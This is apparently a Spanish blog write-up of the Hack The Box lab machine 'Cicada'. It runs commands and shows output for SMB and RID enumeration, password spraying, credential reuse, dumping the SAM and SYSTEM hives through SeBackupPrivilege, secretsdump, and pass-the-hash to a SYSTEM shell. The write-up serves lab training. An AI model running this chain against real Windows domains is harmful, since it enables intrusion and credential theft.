Seleccionar página

Cicada

por | Nov 10, 2024 | HTB

SMBMap

SMBMap permite a los usuarios enumerar unidades compartidas de Samba en todo un dominio. Enumere unidades compartidas, permisos de unidades, contenidos compartidos, funcionalidad de carga/descarga, coincidencia de patrones de descarga automática de nombres de archivos e incluso ejecute comandos remotos. Esta herramienta se diseñó teniendo en cuenta las pruebas de penetración y tiene como objetivo simplificar la búsqueda de datos potencialmente confidenciales en redes grandes.

smbmap -H 10.10.11.35 -u 'guest' -p '' > smbmap-output.txt

smbclient

smbclient //10.10.11.35/HR -U 'guest'

En este directorio encontraremos un archivo que podemos descargar, en él hay una contraseña por defecto:

get Notice from HR.txt

considerar el uso de smbclient-ng

Enumeración de RIDs (Relative Identifiers)

El objetivo de esta técnica es aprovechar la cuenta de invitado para hacer enumeración de RIDs (Relative Identifiers) y detectar usuarios existentes, podemos hacerlo con CrackMapExec:

crackmapexec smb 10.10.11.35 -u 'guest' -p '' --rid-brute | grep "SidTypeUser"

Crearemos un archivo con los usuarios encontrados (users.txt)

Password Spraying

Con la contraseña identificada y el archivo de usuarios:

poetry run crackmapexec smb 10.10.11.35 -u ./users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

Determinamos que el password es válido para el usuario michael.wrightson

enum4linux-ng

Utilizaremos enum4linux-ng (next generation).

Utilizando las credenciales que encontramos:

enum4linux-ng -A -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35 -t 10

-A: Realiza toda la enumeración simple, incluyendo nmblookup (-U -G -S -P -O -N -I -L). Esta opción se habilita si no proporcionas ninguna otra opción.

-u: usuario o lista de usuarios

-p: Contraseña

-t: Establece el timeout para la conexión (por defecto 5 segundos).

En la salida de la sección «Users via RPC» encontramos la contraseña del usuario david.orelious en la descripción de su perfil.

Acceso a directorio DEV

Con las credenciales que encontramos podemos acceder al directorio DEV

smbclient //10.10.11.35/DEV -U david.orelious

Hay un archivo llamado ‘Backup_script.ps1’ que descargaremos a nuestro equipo

get Backup_script.ps1

Dentro de este archivo encotremos las credenciales del usuario emily.oscars

Evil-WinRM y la 1ra flag encontrada

Esta herramienta nos permite acceder de forma remota en un equipo haciendo uso de Windows Remote Management (WinRM)

evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Encontraremos la flag en el directorio Desktop

Acceso como Administrator

Analizamos los permisos del usuario emily.oscars

whoami /all

SeBackupPrivilege está habilitado y el usuario pertenece al grupo Backup Operators, lo que indica que se puede exportar el archivo sam y system desde el registro a la carpeta desde donde se ejecuta el comando.

USER INFORMATION
----------------

User Name           SID
=================== =============================================
cicada\emily.oscars S-1-5-21-917908876-1423158569-3159038727-1601


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

Así que podemos realizar un respaldo de las bases de datos SAM y System:

reg save hklm\sam sam.hive
reg save hklm\system system.hive

Descargamos los archivos a nuestra computadora:

download sam.hive
download system.hive

secretsdump.py de Impacket

secretsdump.py es una herramienta de la suite Impacket utilizada para extraer hashes de contraseñas y otra información sensible de archivos de registro (hives) del sistema Windows, incluyendo SAM y SYSTEM.

python3 secretsdump.py -sam ./sam.hive -system ./system.hive LOCAL

-sam sam.hive: Indica el archivo de la clave SAM.

-system system.hive: Indica el archivo de la clave SYSTEM.

LOCAL: Especifica que se hará un volcado local en lugar de conectarse a un sistema remoto.

La salida

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[-] NTDSHashes.__init__() got an unexpected keyword argument 'skipUser'
[*] Cleaning up...

pass-the-hash (PTH) y última Flag

psexec.py (Opción 1)

Usaremos psexec.py de Impacket, que permite ejecutar comandos en un sistema remoto usando el hash NTLM en lugar de la contraseña.

python3 psexec.py Administrator@10.10.11.35 -hashes :2b87e7c93a3e8a0ea4a581937016f341

Acceso privilegiado:

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.11.35.....
[*] Found writable share ADMIN$
[*] Uploading file OsqGyboT.exe
[*] Opening SVCManager on 10.10.11.35.....
[*] Creating service FLvS on 10.10.11.35.....
[*] Starting service FLvS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2700]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Evil-WinRM – (Opción 2)

evil-winrm -i 10.10.11.35 -u 'Administrator' -H ''

Acceso privilegiado:

Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami 
cicada\administrator

También podríamos:

Subir y descargar archivos

Para subir un archivo al sistema de destino:

upload /ruta/local/del/archivo.ps1

Para descargar un archivo del sistema remoto:

download C:\ruta\remota\archivo.txt

Ejecución de scripts de PowerShell en el sistema remoto

Una vez conectado, puedes ejecutar scripts de PowerShell directamente en la sesión. Por ejemplo, para listar los procesos en ejecución en el sistema remoto:

Get-Process